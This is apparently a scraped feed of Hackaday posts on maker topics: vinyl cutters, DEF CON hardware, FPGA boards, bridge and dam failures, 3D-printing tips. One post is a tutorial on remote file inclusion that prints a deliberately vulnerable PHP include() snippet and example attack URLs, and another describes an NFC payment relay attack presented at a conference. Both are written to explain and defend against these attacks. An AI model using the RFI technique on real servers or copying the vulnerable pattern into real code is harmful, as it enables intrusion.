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A Case for the Desktop Vinyl Cutter

อังคาร, 08/01/2017 - 21:00

As far as desktop workbench fab tools go, it’s too easy to let 3D printers keep stealing the spotlight. I mean, who doesn’t appreciate that mechatronic “buzz” as our printer squirts a 3D CAD model into plastic life? While the 3D printer can take up a corner of my workbench, there’s still plenty of room for other desktop rapid-prototyping gadgets.

Today, I’d like to shed some light on vinyl cutters. Sure, we can start with stickers and perhaps even jumpstart an after-hours Etsy-mart, but there’s a host of other benefits besides just vinyl cutting. In fact, vinyl cutters might just be the unsung heroes of research in folding and papercraft.

Our Pen-Plotting Grandparents

A 1985 Roland DXY-1300 [YouTube]Vinyl cutters are one baby step forward in the family tree of pen plotters and digital cutters. (Digital cutting and numerical control and the birth of CNC is an entire article unto itself!) Pen plotters arrived on-scene in the late 50s and early 60s. Rather than punch out a grid of pixels like modern images, which comes with a hefty memory pricetag, plotters traced out vector graphics, which simply took up less memory. In fact, memory was such a premium back in the day that one of the first published algorithms for CNC control of a pen-plotter [PDF] goes so far as to hightlight it’s efficiency “with respect to speed of execution and memory utilization.”

The actual transition from pen plotting into sign-making is vague, but, at some point, a handful of pen-plotting companies also started adding vinyl cutting to their repertoire. Their target audience ranged from everyday signmakers to aircraft giants like Boeing. Luckily, the math and CNC control for vinyl cutters were already a solved problem thanks to a lineage of pen-plotting.

Less-than Conventional Uses

“What else would I use it for?” It’s the age-old question holding us back from getting a vinyl cutter up-and running on our desktop. It’s so common that Make featured a sizeable list of 34 use-cases. Fear not! I had faced this question too. Rather than run through this list again though, I thought I’d pick a small handful and give them some real-world context. Here’s a taste from the community at large using them now.

Paint Masks

Stencils used to come from the cubbies of my teacher’s art supplies. Now I can make them at will for all sorts of precision paint jobs. Here, a few friends and I gloriously anointed our college rocket experiment with a vinyl stencil of our rocket’s name: “Hobbes.” Just after spray-painting, we quickly peeled off the vinyl to let the paint dry undisturbed. Let’s be honest: years of vandalism couldn’t make my paint skills this classy! There’s a computer at work here, and the vinyl cutter is the precision instrument to go from digital input to digital output.

Little did we know, it turns out that vanilla vinyl isn’t actually the best bet for this paint mask application. Typical vinyl has a pressure-sensitive adhesive. Sticking it down firmly to a surface with our hands kicks off this adhesion process, making it all-too-happy to tear up a recent paint job. Thankfully, a paint mask vinyl exists exclusively for getting around this issue.

Paper Costumes

For the uninitiated, papercraft costumes have become a smashing hit in the last few years. With an inexpensive software package called Pepakura, you too can start flattening 3D models into panels that you can print, cut, and reconstitute back into real life from folded paper. Here, Pepakura takes care of generating a vector graphic from you model, and the vinyl cutter actually eliminates one of the biggest pinch-points in this process: labeling and cutting out the paper. While mere mortals armed with vanilla inkjet printers will then need to don a pair of scissors to actually cut out the model, a vinyl cutter will cut everything out for us automatically.

Just how does the cutter work its magic? These days, many hobbyist vinyl cutters also come with a plastic “sticky” mat that will hold paper down so the cutting tool can lay down its pattern. Simply tack down a piece of cardstock onto this sheet and then load the mat. Within this domain there are two options for getting a crease pattern and labels on the individual pieces. Some modelers will print the design with a normal printer, align it to the cutting mat with registration marks, and cut the image from the printed paper. Others, with the right vinyl cutter model, can actually swap the blade for a pen and run two separate options: plot the fold pattern and labels; then, cut the pieces out. Turning the old Silhouette Cameo Vinyl Cutter into a plotter used to be a hack, but now plenty of third parties sell pen holders for various vinyl cutter brands.


A taste of [Sam Calisch’s] creasing endeavorsRemember those complicated origami pieces of yore? Wouldn’t it be nice to pre-crease those papers before our sloppy fingers put fold-after-fold in the wrong place? Now you can!

Possibly one of the most overlooked features of the vinyl cutter is simply not-cutting-completely-through our media. The path of the partial cuts become “score-lines,” which makes folding a cinch. Presto! What may have taken hours by hand now takes a mere matter of minutes–and the execution is flawless every time.

Sure, nothing is perfect. Here, scoring works well for folds on one side of the paper, but to get the full benefit, we’ll need to score both sides accordingly. While the vinyl cutter leads a quiet life among hackers, it’s a go-to tool in the folding research community. [Evgueni Filipov] is iterating variations of “zippered tubes” for deployable structural applications. [Cynthia Sung] is prototyping robots that fold themselves together.

Curved Scoring

Most of us have almost certainly folded up a paper plane or origami crane before. Most of these pieces involve straight creases. Boring, right? It turns out that, with some patience and finesse, it’s possible to put together models composed of curved folds. Unlike straight folds, curved folds are nigh impossible to get straight (whoop!) without some sort of reference. (A paper printout should do the trick.) To get a sense of how labor-intense this can be, have a go at this curved folding tutorial [PDF].

As far as putting curved creases into paper by hand goes, individual results may vary. Fortunately, with the paper-creasing vinyl cutter trick, we can spare ourselves hours of tension and cut to the chase by removing the manual effort of creasing entirely.  What may have been otherwise inaccessible for most has been tamed and democratized by a CNC creaser. It’s applications like these that make me take a deep breath and think: ah, what a marvelous digital age we now live in.

For the curious eager to jump into more curved folding, check out the works of [Cody Reisdorf] and a brief history by Erik and Martin Demaine.

Our Only Hope for Cutting Vinyl

Here on Hackaday, it’s so tempting to use the wrong tool to get the job done quickly. (I’m looking at all those in the audience with chipped teeth from a naught history of wire stripping.) If you had a laser cutter and wanted to make some vinyl stickers, you could be forgiven for turning your remaining eye in that directioni. But burning through vinyl with a laser cutter will actually release chlorine gas which has the nasty side-effect of corroding laser optics and being fatal for humans. Here, precision burning vinyl wont make the cut.

After all of the folding and stencil-making uses listed above, it’s easy to forget to use the tool as it’s intended, but when it comes to cutting vinyl, the right tool is a vinyl cutter.


Filed under: Featured, Interest, Original Art

Be the Firebender You Want to See in the World

อังคาร, 08/01/2017 - 18:00

Always wanted to be a citizen of Fire Nation? Here’s one way to ace the citizenship exam: punch-activated flaming kung fu gauntlets of doom.

As with all the many, many, many flamethrower projects we’ve featured before, we’ve got to say this is just as bad an idea as they are and that you should not build any of them. That said, [Sufficiently Advanced]’s wrist-mounted, dual-wielding flamethrowers are pretty cool. Fueled by butane and containing enough of the right parts for even a minimally talented prosecutor to make federal bomb-making charges stick, the gauntlets each have an Arduino and accelerometer to analyze your punches. Wimpy punch, no flame — only awesome kung fu moves are rewarded with a puff of butane ignited by an arc lighter. The video below shows a few close calls that should scare off the hairy-knuckled among us; adding a simple metal heat shield might help mitigate potential singeing.

Firebending gloves not enough to satisfy your inner pyromaniac? We understand completely.

Thanks to [Nils Hitze] for the hot tip. Yep.

Filed under: misc hacks, wearable hacks

Look What People Brought to Breakfast at DEF CON

อังคาร, 08/01/2017 - 15:00

Sunday was our Breakfast at Hackaday meetup and a swarm of folks showed up, take a look at the hardware they brought with them! Vegas can be a tough place to set up a meetup — especially if you don’t want to rent a room. We filtered into a Starbucks across the street from Caesar’s and ended up packing the high-top table areas. It turns out you get a really funny look from the baristas when you go through the coffee line and ask for four dozen pastries and a few buckets of coffee.

The size of the space made it hard to get a picture of the entire crowd. I did manage to get a posed photo with the people who showed up about a half hour early. Once it filled up all I got for crowd shots were people with their back to me and heads down comparing hardware projects — that might actually be more appropriate for DEF CON where people generally don’t want to be photographed (case in point our bandanna wearing friend).


There was a ton of different hardware on hand. If you look at a picture of the swag and pastries tables, look closely at the high-top behind that. There were a couple of people hacking on RTL-SDRs before we arrive (which means they were at least 45 minutes early).

I’m a fan of wearing your hardware projects at events and this year was really great for that. First, a Captain Phasma helmet from The Force Awakens. It’s 3D printed in ABS, using an acetone/ABS slurry to glue (actually to weld) the parts before sanding and painting to finish the job.

Most of the hacks on hand were unofficial hardware badges built specifically for DEF CON. I was at the Badge Build’s meetup and have a megapost on everything I saw there coming out a bit later. But here we get a look at the dragonfly badge which [Kerry] brought along with him as well as the rectangular PCB that was the prototype. The AND!XOR crew was in the house and I decided to bug [Hyr0n] about the password hashes I was trying to crack from their badge’s firmware. He pulled up the app and it wasn’t surprising to see so many of the Bender on a bender badges in the area. Their botnet was a huge hit this year!

At some point, I was handed this book-like box which had been laser cut and etched out of plywood. It’s a beautiful piece and I had no idea what I would find inside. Turns out it’s a complete quadcopter-badge fun kit. I must have been so enthralled with the electronics when we covered this badge a few weeks back that I completely missed the beautiful box they built for it.

Inside the box, you’ll find two versions of the badge (one that flies, the other that blinks and has a red PCB handkerchief), a separate PCB that is the controller, and a goodie bag with extra batteries and charging hardware. We didn’t fire this up at the meetup, but we’ll have it at the Hackaday Superconference for you to play with. It was really great to get a group picture with so many of the people who worked on making this badge happen.

There was one high-top over in the corner that had been mobbed with people all morning and I only got a look at it when the crowd started to clear out around noon. [Brian McEvoy] built a custom controller for OpenSCAD and did a great job of bringing along a demo. A tablet is running the software, with the controller connected via USB. There are 3 knobs on the right that allow you to adjust height, width, and depth. The fourth knob is for adjusting precision. That precision is displayed in a very clever way. You can see the LED strip with has a red dot on the right (the decimal point) and three colored pixels to the left of it. These are the tens, hundreds, and thousands, but just turn the crank until the red dot is at the other end of the strip and you’ll be setting precision to tenths, hundreths, etc. [Brian] even added a button you can hold down to 10x the precision without making a permanent adjustment. The project is driven by a Teensy LC board.

Is wonderful to see the Hackaday Community turn out for a meetup like this even though so much other stuff is going on at DEF CON. Thank you to all of you for coming to say hi, share your stories, and show off your handy work!

Filed under: cons, news

TinyFPGA is a Tiny FPGA Board

อังคาร, 08/01/2017 - 12:00

We recently noticed an open source design for TinyFPGA A-Series boards from [Luke Valenty]. The tiny boards measure 18 mm by 30.5 mm and are breadboard friendly. You can choose a board that holds a Lattice Mach XO2-256 or an XO2-1200, if you need the additional capacity.

The boards have the JTAG interface on the side pins and also on a top header that would be handy to plug in a JTAG dongle for programming. The tiny chips are much easier to work with when they are entombed in a breakout board like this. Bigger boards with LEDs and other I/O devices are good for learning, but they aren’t always good for integrating into a larger project. The TinyFPGA boards would easily work in a device you were prototyping or doing a small production run.

The files are on GitHub. According to the project’s main web site, this is the “A-series” because there are “B-series” boards forthcoming that use USB instead of JTAG, and will use the Lattice ICE FPGA devices.

The components on the board are 0603 and QFN32 packages. [Luke] suggests a solder stencil, paste, and an oven, but these size components are hand solderable, with practice.

If you want to look at the how and why of FPGAs, we covered another Lattice part in great detail, winding up with a PWM output device. Although the parts are subtly different, the work flow and principles will be the same. You’d just need the right JTAG dongle to do the programming.


Filed under: FPGA

Low-Cost Rain Gauge Looks for Floods

อังคาร, 08/01/2017 - 09:00

We’ve seen a lot of uses for the now-ubiquitous ESP chip, including a numerous wilderness-monitoring devices.

Pluvi.on stands out with some attractive solutions and a simple design.

A lot of outdoor projects involve some sort of stock weather-resistance enclosure, but this project has a custom-designed acrylic box. About 4 inches across, the gauge uses a seesaw-like bucket to measure rain—a funnel, built into the enclosure, sends water into the gauge which records each time the bucket mechanism tilts, thereby recording the intensity of the rain. A NodeMCU packing an ESP8266 WiFi SoC sends the data to the cloud, helping predict the possibility of a flood in the area.

[Diogo Tolezano] and [Pedro Godoy] developed Pluvi.on as part of a Red Bull Basement hacker residency in São Paolo, Brazil. Interested in building your own Pluvi.on? They have building steps up on Instructables.

More ESP projects abound on Hackday, including this ESP mini robot, a data-logging hamster wheel, and an ESP32 information display.

Filed under: green hacks

“Borrow” Payment Cards with NFC Proxy Hardware

อังคาร, 08/01/2017 - 06:00

Contactless payments are growing in popularity. Often the term will bring to mind the ability to pay by holding your phone over a reader, but the system can also use NFC tags embedded in credit cards, ID card, passports, and the like. NFC is a reasonably secure method of validating payments as it employs encryption and the functional distance between client and reader is in the tens of centimeters, and often much less. [Haoqi Shan] and the Unicorn team have reduced the security of the distance component by using a hardware proxy to relay NFC interactions over longer distances.

The talk, give on Sunday at DEF CON, outlined some incredibly simple hardware: an NFC antenna connected to a PN7462AU, an NRF24L01 wireless transceiver, and some power regulation. The exploit works by using a pair of these hardware modules. A master interfaces with the NFC reader, and a slave reads the card. The scenario goes something like this: a victim NFC card is placed near the slave hardware. The master hardware is placed over a payment kiosk as if making a normal payment. As the payment kiosk reader begins the process to read an NFC card, all of the communications between it and the actual card are forwarded over the 24L01 wireless connection.

The demo video during the talk showed a fast-food purchase made on the Apple Pay network while the card was still at a table out in the dining area (resting on the slave hardware module). The card used was a QuickPass contactless payment card from China UnionPay. According to a 2016 press release from the company, over two billion of these cards had been issued at the time. With that kind of adoption rate there is a huge incentive to find and patch any vulnerabilities in the system.

The hardware components in this build aren’t really anything special. We’ve seen these Nordic wireless modules used in numerous projects over they years, and the NXP chip is just NFC build around an ARM core. The leaps that tie this together are the speed-ups to make it work. NFC has tight timing and a delay between the master and slave would invalidate the handshake and subsequent interactions. The Unicorn team found some speedups by ensuring the chip was waking from suspend mode (150 µS) and not a deeper sleep. Furthermore, [Haoqi] mentioned they are only transmitting “I/S/R Block Data” and not the entirety of the interaction to save on time transmitting over the 24L01 wireless link. He didn’t expand on that so if you have details about what those blocks actually consist of please let us know in the comments below.

To the card reader, the emulated payment card is valid and the payment goes through. But one caveat to the system is that [Haoqi] was unable to alter the UID of the emulator — it doesn’t spoof the UID of the payment card being exploited. Current readers don’t check the UID and this could be one possible defense against this exploit. But to be honest, since you need close physical proximity of the master to the reader and the slave to the payment card simultaneously, we don’t see mayhem in the future. It’s more likely that we’ll see hacker cred when someone builds a long-range link that lets you leave your NFC cards at home and take one emulator with you for wireless door access or contactless payments in a single device. If you want to get working on this, check out the talk slides for program flow and some sourcecode hints.

Filed under: cons, wireless hacks

These Twenty Wheels, Wings, and Walkers Won $1000 In The Hackaday Prize

อังคาร, 08/01/2017 - 03:01

Today, we’re excited to announce the winners of the Wheels, Wings, and Walkers portion of The Hackaday Prize. We were looking for the next generation of robots, drones, machines that make machines move, and hackers who now know far too much about inverse kinematics. The results were spectacular.

Hackaday is currently hosting the greatest hardware competition on Earth. We’re giving away thousands of dollars to hardware creators to build the next great thing. Last week, we wrapped up the third of five challenges. It was all about showing a design to Build Something That Matters. Hundreds entered and began their quest to build a device to change the world.

There are still two more challenges in The Hackaday Prize. If you’re working on Assistive Technologies, the time is now, with this portion of the Prize ending September 4th. After that, Anything Goes. The Anything Goes challenge is the catch-all, and we’re looking for the best projects, full stop.

The winners of the Wheels, Wings, and Walkers challenge are, in no particular order:

Wheels, Wings, and Walkers Hackaday Prize Finalists:

All Fantastic Projects

The entries in this round of the Hackaday Prize are exactly what we’re looking for in the Wheels, Wings, and Walkers challenge. There were ships and submarines, projects that use drones in novel ways, interesting flying platforms, projects that are destined for the next generation of open robotics, and projects that just barely move very precisely. The one project on Hackaday.io that most appeals to our reptilian brain — a lawnmower powered quadcopter / decapitron — is getting an upgrade with wireless variable pitch rotors.

Entry is Still Open for the 2017 Hackaday Prize

The Assistive Technologies challenge runs until September 4th, after which we’ll select 20 projects to win $1000 and move onto the finals of The Hackaday Prize. From there, one project will be awarded the grand prize of $50,000 and five other top finalists will receive prizes ranging from $30,000 to $5,000.

The HackadayPrize2017 is Sponsored by:
Filed under: Hackaday Columns, The Hackaday Prize

The Dark Arts – Remote File Inclusion

อังคาร, 08/01/2017 - 00:01

In the waning hours of 2010, a hacking group known as Lulzsec ran rampant across the Internet, leaving a path of compromised servers, a trail of defaced home pages, leaked emails, and login information in their wake. They were eventually busted via human error, and the leader of the group becoming an FBI informant. This handful of relatively young hackers had made a huge mess of things. After the digital dust had settled – researches, journalists, and coders began to dissect just how these seemingly harmless group of kids were able to harness so much power and control over the World Wide Web. What they found was not only eye-opening to web masters and coders, but shined a light on just how vulnerable all of our data was for everyone to see. It ushered in an era of renewed focus on security and how to write secure code.

In this Dark Arts series, we have taken a close look at the primary techniques the Luzsec hackers used to gain illegal access to servers. We’ve covered two them – SQL injection (SQLi) and cross-site scripting (XSS). In this article, we’ll go over the final technique called remote file inclusion (RFI).

DISCLAIMER: Fortunately, the surge of security-minded coding practices after the fall of Lulzsec has (for the most part) removed these vulnerabilities from the Internet as a whole. These techniques are very dated and will not work on any server that is maintained and/or behind a decent firewall, and your IP will probably get flagged and logged for trying them out. But feel free to set up a server at home and play around.

PHP, Yeah You Should Know Me Better Than That

RFI attacks are not as well-known as their SQLi and XSS counterparts. However, it’s a very effective way to get malicious code to run on a vulnerable target server. It works by including a remote file in an HTTP request. Its basic form is to append a URL to include a file from a remote server. For instance, say instead of typing http://www.ilurvmesomearduino.com/ into the URL bar, you type in something like http://www.ilurvmesomearduino.com/index.php?page=http://www.hackaday.com?

If you get the Hackaday web page, then http://www.ilurvmesomearduino.com is susceptible to an RFI attack. What you’ve done is run http://www.hackaday.com/index.php on the Arduino site server. There is nothing stopping you from doing something like http://www.ilurvmesomearduino.com/index.php?page=http://www.dosomethingbad.php

The most prevalent reason this was possible was because web coders would often structure links to other pages within their site like this:

------| index.php?page=uno.php ------| index.php?page=mega.php ------| index.php?page=due.php

This way, the links in the index.php home page will simply call another .php file. To do this, they would use the include() function to call the sub-pages of uno, mega and due.php. Consider the slightly modified code we found on the web (written in 2011) from a hacker who went by [B.K.]:

<?php if(isset($_GET['page'])) //vulnerable to RFI { $page=$_GET['page']; include($page.".php"); } else{ ?> <html> <h1>I Love Arduino</h1> click here for <a href="/index.php?page=uno">Uno</a> click here for <a href="/index.php?page=mega">Mega</a> click here for <a href="/index.php?page=due">Due</a> </html> <? } ?>

Can you see where the problem is? When a link in the HTML block is clicked, it gets passed to the GET variable. The include() function will then resolve the URL to http://www.ilurvmesomearduio.com/index.php?page=uno if you click the ‘Uno’ link. There is nothing here to stop someone from including files from outside the domain. Nothing stops you from changing ?page=uno to whatever you want.

And that’s how a basic RFI attack works. There are variations of course. Let us know your favorite in the comments!

Automatic Tools

As you see, the attack is simple enough to construct a program that can look for pages that are susceptible to RFI, and then run code to extract information from the vulnerable server. And that’s exactly what happened in the early part of the decade. The graph below shows logged RFI attacks in 2010-2011. The spikes were largely do to a single user, suggesting an automated tool was at work.

Source via Imperva Preventing RFI Attacks

Fortunately it is relatively trivial to stop RFI attacks. The absolute best way is to go into your php.ini file and set allow_url_fopen and allow_url_include to off. They should be off by default if you keep your server updated, but check anyway. Another way is to sanitize the inputs, much in the same you would to prevent SQLi. This can be done by making a whitelist of files that can be run on your server. And there’s always a good firewall that can stop these kind of attacks before they start.

Most importantly, we should always look at code through the eyes of the hacker probing for weaknesses, and of course patch up the holes as quickly as possible when a new one is discovered. With RFI, as with SQLi, the problem is opening up the system to arbitrary user input. This was a lesson the Internet learned the hard way. We hope.

Filed under: Featured, Interest, Original Art

Beautiful Rocketeer Jetpack Replica Boasts Impressive Metalwork

จันทร์, 07/31/2017 - 22:30

Fans of the Rocketeer comic book and movie franchise will be familiar with its hero’s 1930s-styled rocket backpack.  It’s an intricate construction of complex streamlined curves, that has inspired many recreations over the years.

Most Rocketeer jetpacks are made from plastic, foam, and other lightweight materials that will be familiar to cosplayers and costumers. But [David Guyton]’s one is different, he’s made it from sheet steel.

The attraction in his video is not so much the finished pack, though that is an impressive build. Instead it’s the workmanship, nay, the craftsmanship, as he documents every stage of the metalwork involved. The panel beating tools of a sheet metalworker’s trade are surprisingly simple, and it’s tempting to think as you watch: “I could do that!”. But behind the short video clips and apparent speed of the build lies many hours of painstaking work and a huge amount of skill. Some of us will have tried this kind of sheet work, few of us will have taken it to this level.

The video is below the break, it takes us through the constituent parts of the build, including at the end some of the engine details which are cast in resin. Watch it with a sense of awe!

Filed under: wearable hacks

Failing Infrastructure and the Lessons It Teaches

จันทร์, 07/31/2017 - 21:01

Infrastructure seems so permanent and mundane that most of us never give it a second thought. Maintenance doesn’t make for a flashy news story, but you will frequently find a nagging story on the inside pages of the news cycle discussing the slowly degrading, crumbling infrastructure in the United States.

If not given proper attention, it’s easy for these structures to fall into a state of disrepair until one suddenly, and often catastrophically, fails. We’ve already looked at a precarious dam situation currently playing out in California, and although engineers have that situation under control for now, other times we haven’t been so lucky. Today we’ll delve into a couple of notable catastrophic failures and how they might be avoided in future designs.

Gaining Weight While Delaying Repairs

Most of us take infrastructure for granted every day. Power lines, roads, pipelines, and everything else have a sense of permanence and banality that can’t be easily shaken. Sadly, this reality shattered for most people in Minneapolis, Minnesota in August 2007.

I-35W Mississippi River bowed gusset plates. Photo taken on 6/12/2003, four years before the collapse. Unknown author Public Domain.

A massive truss arch bridge carrying interstate highway traffic over the Mississippi River suddenly collapsed, tragically killing 13 people and injuring another 145. Rush hour traffic and an ongoing construction project had overloaded the corroded, failing bridge to the point that the center span of the bridge abruptly fell into the river, followed by the adjacent spans. The casualties could have been much higher, too, but four of the eight lanes were closed for resurfacing.

While engineers had noted major structural issues in the early 1990s, no substantial measures were ever taken to improve the bridge. In fact, changes to the bridge may have exacerbated its issues. A de-icing system was installed in the late 90s which may have increased the rate of corrosion of the steel components of the bridge, including the bearings. Additional concrete was laid on the bridge for resurfacing throughout the years, and sturdier guard rails were added as well. Additionally, at the time of collapse, a construction crew was on the bridge resurfacing the travel lanes.

However, the structural deficiencies of the bridge were no secret. The US Department of Transportation (DOT) rates bridges on a 100-point scale, and for two years before its collapse this bridge scored a 50, putting it at the bottom of a list of bridges in the US. Additionally, a plan to reinforce the bridge was cancelled in the early 2000s because it was found that drilling into the existing structure to install the reinforcing steel would actually weaken the bridge further.

After the investigation was completed, it was found that the gusset plates — used to connect beams and girders together — were the main cause of the failure. They were undersized for the original weight of the bridge, which had increased around 20% over the course of its lifetime. Gusset plates don’t just connect the structural members of bridges and buildings (including traditional wood-frame buildings), but they make the connections stronger than they would otherwise be. For this reason it is crucial that gusset plates be sized correctly and repaired or replaced if needed. Additionally, the bridge’s bearings were partially frozen that day which may have contributed to the overloading and failure of the gusset plates, but the main cause of the failure was their overload.

Since the collapse, a new bridge has opened to carry the interstate traffic over the river. The pre-cast concrete box girder bridge was completed ahead of schedule in 2008 and includes a number of modern technologies, such as an array of sensors to measure movement of the bridge. Additionally, the concrete was poured with a number of additives that will increase the lifespan of the bridge to an estimated 100 years.

Structure Flaws Plus Human Error

While the collapse of the I-35 bridge in Minnesota was tragic and arguably preventable, it’s far from the only major infrastructure failure that has happened in recent memory. Just a day’s drive south from Minneapolis is the Taum Sauk Hydroelectric Power Station, a dam that is used as a pumped storage facility. In 2005, the dam was overtopped which resulted in its complete failure. Approximately one billion gallons of water was released when the dam wall collapsed, and the 20-foot wall of water that poured from the dam destroyed everything in its path. Luckily no one was killed as a result, although one family was swept away by the flood and suffered major injuries.

The dam during repairs. The damaged section can be seen towards the top right of the structure. Additionally, the scoured terrain from the original failure is visible. Photo by KTrimble CC-BY-SA 3.0

Part of what makes this dam unique is that it wasn’t built into any of the surrounding topography like traditional dams are, aside from being built on the top of a hill. The dam makes a complete loop to impound the water that is stored there and acts as a huge battery for the power grid. During the night when power is cheap water is pumped into the reservoir, and then is allowed to flow out of the dam during times of peak demand on the grid during the day. While the cause of the dam failure in Missouri was mostly operator error (known flaws with gauging how full the reservoir was, purposefully filling the dam beyond its capacity), these bad practices combined with construction flaws in a catastrophic way.

The dam has since been repaired, using more robust roller-compacted concrete instead of earth fill. Additionally, and perhaps more importantly, a more accurate gauge system was installed and it seems that the dam’s operators are less likely to operate the plant in the same way that they were before the failure. This is in part due to a $15 million fine levied against them by the Federal Energy Regulatory Commission (the second-highest fine ever levied by FERC).

While the failures of the I-35 bridge and the Taum Sauk dam aren’t the only modern infrastructure failures we’ve seen in recent history, they are among the worst and are a reminder that flawed design coupled will poor maintenance practices and operating procedures are a recipe for literal disaster.

If there is another piece of infrastructure near you that isn’t receiving the attention it deserves, tell us about it in the comments or email the author directly at bryancockfield@hackaday.com.

Filed under: Current Events, Engineering, Featured

Worried About Running Out Of Filament Mid-Print? Join It!

จันทร์, 07/31/2017 - 18:00

If you’ve ever cringed over throwing away any printer filament you know wouldn’t cover your next small part — let alone an overnight print — you may appreciate [starlino]’s method for joining two spools of filament together.

While there are other methods to track how much filament you’re using, this method removes some of the guesswork. First, snip the ends of the filament on a diagonal — as close to the same angle as possible. Cover both ends with shrink wrap tubing — 2mm tubing for 1.75mm filament for example — ensuring that the two ends overlap inside the wrap. Tape the filament to a heat resistant mat with Kapton tape, leaving exposed the joint between the two filaments. A temperature sensor may help you to find your filament’s melting point, or you can experiment as necessary to get a feel for it.

Melt the filament inside the tubing with a hot air soldering station or heat gun and cool it down promptly with a few blasts from an air duster. All that’s left is to cut the filament free of the tape and shrink wrap, scraping away any excess so as to prevent printer jams. Done! Now, back to printing! Check out the tutorial video after the break.nning

Filed under: 3d Printer hacks

Listen To Your Fermentation To Monitor Its Progress

จันทร์, 07/31/2017 - 15:00

If you are a wine, beer, or cider maker, you’ll know the ritual of checking for fermentation. As the yeast does its work of turning sugar into alcohol, carbon dioxide bubbles froth on the surface of your developing brew, and if your fermentation container has an airlock, large bubbles pass through the water within it on a regular basis. Your ears become attuned to the regular “Plop… plop… plop” sound they make, and from their interval you can tell what stage you have reached.

[Chris] automated this listening for fermentation bubbles, placing a microphone next to his airlock and detecting amplitude spikes through two techniques: one using an FFT algorithm and the other a bandpass filter. Both techniques yielded similar graphs for fermentation activity over time.

He has a few ideas for improvement, but notes that his system is vulnerable to external noises. There is also an admission that using light to detect bubbles might be a more practical solution as we have shown you more than once with other projects, but as with so many projects on these pages, it is the joy of the tech as much as the practicality that matters.

Filed under: Beer Hacks, cooking hacks

Fishing for AirPods with Magnets

จันทร์, 07/31/2017 - 12:00

Note to self: if you’re going to hack at 4 in the morning, have a plan to deal with the inevitable foul ups. Like being able to whip up an impromptu electromagnetic crane to retrieve an AirPod dropped out a window.

Apartment dweller [Tyler Efird]’s tale of woe began with a wee-hours 3D print in need of sanding. Leaning out his third-story window to blow off some dust, he knocked one AirPod free and gravity did the rest. With little light to search by and a flight to catch, the wayward AirPod sat at the bottom of a 10-foot shaft below his window, keeping company with a squad of spiders for two weeks. Unwilling to fork over $69 and wait a month and a half for a replacement, [Tyler] set about building a recovery device. A little magnet wire wound onto a bolt, a trashed 100-foot long Ethernet cable, and a DC bench supply were all he needed to eventually fish up the AirPod. And no spiders were harmed in the making of this hack.

Need to lift something a little heavier than an AirPod? A beefy microwave oven transformer electromagnet might be the thing for you. And confused about how magnets even work in the first place? Check out our primer on magnetism.

Filed under: misc hacks

False Claims On Kickstarter: What’s New?

จันทร์, 07/31/2017 - 09:00

Kickstarter and its ilk seem like the Wild West when it comes to claims of being “The world’s most (Insert feature here) device!” It does add something special when you can truly say you have the world record for a device though, and [MellBell Electronics] are currently running a Kickstarter claiming the worlds smallest Arduino compatible board called Pico.

We don’t want to knock them too much, they seem like a legit Kickstarter campaign who have at time of writing doubled their goal, but after watching their promo video, checking out their Kickstarter, and around a couple of minutes research, their claim of being the world’s smallest Arduino-compatible board seems to have been debunked. The Pico measures in at an impressive 0.6 in. x 0.6 in. with a total area of 0.36 sq.in. which is nothing to be sniffed at, but the Nanite 85 which we wrote up back in 2014 measures up at around 0.4 in. x  0.7in. with a total area of around 0.28 sq.in.. In this post-fact, fake news world we live in, does it really matter? Are we splitting hairs? Or are the Pico team a little fast and loose with facts and the truth?

There may be smaller Arduino compatible boards out there, and this is just a case study between these two. We think when it comes to making bold claims like “worlds smallest” or something similar perhaps performing a simple Google search just to be sure may be an idea.

Filed under: Arduino Hacks, Crowd Funding

Hackaday Links: July 30, 2017

จันทร์, 07/31/2017 - 06:00

What are you doing next weekend? How about going to the Vintage Computer Festival West at the Computer History Museum in Mountain View. Hackaday is sponsoring, and there are always a ton of awesome builds. Last year, someone played Tron on a Commodore PET. Not a video game — the movie.

In case anyone forgot, I created the most desirable independent hardware badge this year at Def Con. It’s a hilarious joke, I got three from OSH Park, thirty more in different colors from Seeed, and something, somewhere, jumped a shark. [Drew Fustini] also shared these PCBs on OSH Park. There were four orders. This is hilarious.

‘Member Minecraft? Redstone was awesome, and people built computers out of red dust and torches. Now it’s not as cool with all the fancy redstone components, and simpler is always better. Here’s bitmap logic, or a complete computer made with pixels. There’s already an 8-bit computer for this thing.

Frag somebody and own their computer. [Justin] recently found an exploit in Valve’s Source engine (TF2, CSGO, Portal 2…) that allows for remote code execution on clients and servers by loading a custom ragdoll model.

High bandwith, low-power, and long range. If you’re doing RF, you may pick two. LoRa is the RF solution that picked low power and long range. There are quite a few companies behind it, but we really haven’t seen many products using LoRa here in the states yet (then again, products that would use LoRa shouldn’t be very visible…). Now there’s an Open Source LoRa backend server. This is somewhat significant; LoRa isn’t a completely Open protocol, and all licensing goes through Semtech and the LoRa Alliance.

Filed under: Hackaday Columns, Hackaday links

Find Instructions Hidden In Your CPU

จันทร์, 07/31/2017 - 03:00

There was a time when owning computer meant you probably knew most or all of the instructions it could execute. Your modern PC, though, has a lot of instructions, many of them meant for specialized operating system, encryption, or digital signal processing features.

There are known undocumented instructions in a lot of x86-class CPUs, too. What’s more, these days your x86 CPU might really be a virtual machine running on a different processor, or your CPU could have a defect or a bug. Maybe you want to run sandsifter–a program that searches for erroneous or undocumented instructions. Who knows what is lurking in your CPU?

If you don’t think your CPU has a lot of instructions in it, have a look at the list of what’s inside a modern Intel chip and compare it to the relatively tiny list of the original 8086 instruction set (which is still in there, too). According to the project’s website:

Sandsifter has uncovered secret processor instructions from every major vendor; ubiquitous software bugs in disassemblers, assemblers, and emulators; flaws in enterprise hypervisors; and both benign and security-critical hardware bugs in x86 chips.

You can read more in the project’s whitepaper. We were honestly surprised to read: “Typically, several million undocumented instructions on your processor will be found…” However, it appears that these millions of instructions will fall into one of only a few categories.

We aren’t sure if any end user is likely to discover new undocumented instructions in production silicon with this tool. But it could be handy for testing and especially for testing emulation code. If you want even more instructions per chip, you could always get a device with 1,000 CPUs onboard.

Filed under: software hacks

Looking Forward To SHA2017

จันทร์, 07/31/2017 - 00:00

We’re at the start of August, which can only mean one thing. Europe’s hackers and makers are about to converge in a field somewhere for a long weekend of sitting around drinking beer and Club-Mate, eating unhealthy street food, being assaulted by some of the most underground chiptune electronic dance music on the planet, sharing the fruits of their labours with their peers, and gazing lovingly upon other people’s hacks. This year it’s the turn of the Netherlands, for over the first full weekend in August that country will host the SHA2017 outdoor hacker camp in a scouting camp on the polders. It promises to be quite an event, with just short of 4000 attendees spread over several fields, arenas, and social areas, and we’re going to be there. Tent and power lead with Schuko plug sorted, massive pile of stickers secured, DECT phone charged, emergency supplies of PG Tips packed.

